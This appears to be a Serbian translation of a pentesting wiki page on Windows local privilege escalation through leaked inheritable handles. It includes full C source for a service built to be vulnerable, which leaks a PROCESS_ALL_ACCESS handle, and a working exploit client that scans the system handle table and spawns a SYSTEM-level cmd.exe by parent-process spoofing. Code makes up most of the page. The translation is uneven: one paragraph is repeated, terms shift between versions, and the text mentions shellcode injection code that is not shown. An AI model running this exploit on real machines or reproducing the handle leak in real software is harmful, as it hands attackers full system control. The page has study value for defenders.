Ručkovi u procesu omogućavaju pristup različitim Windows resursima:
Već je bilo nekoliko slučajeva eskalcije privilegija gde je privilegovan proces sa otvorenim i naslednim ručkovima pokrenuo neprivilegovani proces dajući mu pristup svim tim ručkovima.
Na primer, zamislite da proces koji se izvršava kao SISTEM otvori novi proces (OpenProcess()) sa puno pristupa. Isti proces takođe kreira novi proces (CreateProcess()) sa niskim privilegijama ali nasleđujući sve otvorene ručkove glavnog procesa.
Zatim, ako imate puno pristupa niskoprivilegovanom procesu, možete dohvatiti otvoreni ručak privilegovanog procesa kreiranog sa OpenProcess() i ubaciti shell kod.
Interesantni Ručkovi
Proces
Kao što ste pročitali u početnom primeru, ako neprivilegovani proces nasledi ručak procesa privilegovanog procesa sa dovoljnim dozvolama, moći će da izvrši proizvoljan kod na njemu.
U ovom odličnom članku možete videti kako iskoristiti bilo koji ručak procesa koji ima bilo koju od sledećih dozvola:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Nit
Slično ručkovima procesa, ako neprivilegovani proces nasledi ručak niti privilegovanog procesa sa dovoljnim dozvolama, moći će da izvrši proizvoljan kod na njoj.
U ovom odličnom članku takođe možete videti kako iskoristiti bilo koji ručak procesa koji ima bilo koju od sledećih dozvola:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Ručkovi Fajlova, Ključeva i Odeljaka
Ako neprivilegovani proces nasledi ručak sa dozvolama za pisanje nad privilegovanim fajlom ili registrom, moći će da prepiše fajl/registar (i sa puno sreće, eskališe privilegije).
Ručkovi Odeljaka su slični ručkovima fajlova, zajedničko ime ovih vrsta objekata je "Mapiranje Fajla". Koriste se za rad sa velikim fajlovima bez držanja celog fajla u memoriji. To čini eksploataciju "sličnom" eksploataciji Ručka Fajla.
Kako videti ručkove procesa
Process Hacker
Process Hacker je alat koji možete besplatno preuzeti. Ima nekoliko neverovatnih opcija za inspekciju procesa, a jedna od njih je mogućnost da vidite ručkove svakog procesa.
Imajte na umu da je potrebno imati SeDebugPrivilege da biste videli sve ručkove svih procesa (tako da morate pokrenuti Process Hacker kao administrator).
Da biste videli ručkove procesa, desni klik na proces i izaberite Ručkove:
Zatim možete desnim klikom na ručak i proveriti dozvole:
Sysinternals Handles
Handlesbinarni fajl iz Sysinternals će takođe prikazati ručkove po procesu u konzoli:
LeakedHandlesFinder
Ovaj alat vam omogućava da pratite procurele ručkove i čak ih automatski iskoristite za eskalaciju privilegija.
Metodologija
Sada kada znate kako da pronađete ručkove procesa, ono što treba da proverite je da li neprivilegovani proces ima pristup privilegovanim ručkovima. U tom slučaju, korisnik procesa bi mogao da dohvati ručak i zloupotrebi ga za eskalaciju privilegija.
Pomenuto je ranije da vam je potreban SeDebugPrivilege da biste pristupili svim ručkovima. Ali korisnik i dalje može pristupiti ručkovima svojih procesa, pa bi bilo korisno ako želite da eskalirate privilegije samo sa tog korisnika da izvršite alate sa redovnim dozvolama korisnika.
Na primer, sledeći kod pripada Windows servisu koji bi bio ranjiv. Ranjiv kod ovog servisnog binarnog fajla se nalazi unutar funkcije Exploit. Ova funkcija počinje kreiranjem novog procesa ručka sa punim pristupom. Zatim, ona kreira proces sa niskim privilegijama (kopiranjem tokena sa niskim privilegijama od explorer.exe) koji izvršava C:\users\username\desktop\client.exe. Ranjivost se nalazi u činjenici da kreira proces sa niskim privilegijama sa bInheritHandles postavljenim na TRUE.
Stoga, ovaj proces sa niskim privilegijama može da preuzme ručku visoko privilegovanog procesa koji je prvo kreiran i ubaci i izvrši shell kod (videti sledeću sekciju).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Primer eksploatacije 1
U stvarnom scenariju verovatno nećete moći kontrolisati binarni fajl koji će biti izvršen od strane ranjivog koda (C:\users\username\desktop\client.exe u ovom slučaju). Verovatno ćete kompromitovati proces i trebaće da proverite da li možete pristupiti bilo kojem ranjivom rukovanju bilo kog privilegovanog procesa.
U ovom primeru možete pronaći kod mogućeg eksploata za C:\users\username\desktop\client.exe.
Najinteresantniji deo ovog koda se nalazi u GetVulnProcHandle. Ova funkcija će početi sa prikupljanjem svih rukovanja, zatim će proveriti da li neko od njih pripada istom PID-u i da li rukovanje pripada procesu. Ako su svi ovi zahtevi ispunjeni (pronađeno je pristupačno otvoreno rukovanje procesom), pokušaće da ubaci i izvrši shell kod zloupotrebom rukovanja procesom.
Ubacivanje shell koda se vrši unutar funkcije Inject i jednostavno će upisati shell kod unutar privilegovanog procesa i kreirati nit unutar istog procesa kako bi izvršila shell kod.
U stvarnom scenariju verovatno nećete moći kontrolisati binarni fajl koji će biti izvršen od strane ranjivog koda (C:\korisnici\korisničkoime\desktop\klijent.exe u ovom slučaju). Verovatno ćete kompromitovati proces i trebaće da proverite da li možete pristupiti bilo kojem ranjivom rukovanju bilo kog privilegovanog procesa.
U ovom primeru, umesto zloupotrebe otvorenog rukovanja za ubacivanje i izvršavanje shell koda, korišćen je token privilegovanog otvorenog rukovanja procesa za kreiranje novog. Ovo je urađeno u linijama od 138 do 148.
Primetite kako se funkcija UpdateProcThreadAttribute koristi sa atributom PROC_THREAD_ATTRIBUTE_PARENT_PROCESS i rukovanjem otvorenog privilegovanog procesa. Ovo znači da će kreirani proces niti koja izvršava _cmd.exe_** imati istu privilegiju tokena kao proces sa otvorenim rukovanjem**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Ovaj alat vam omogućava da pratite procurene ručke kako biste pronašli ranjive i čak ih automatski iskoristili. Takođe ima alat za procurivanje jedne ručke.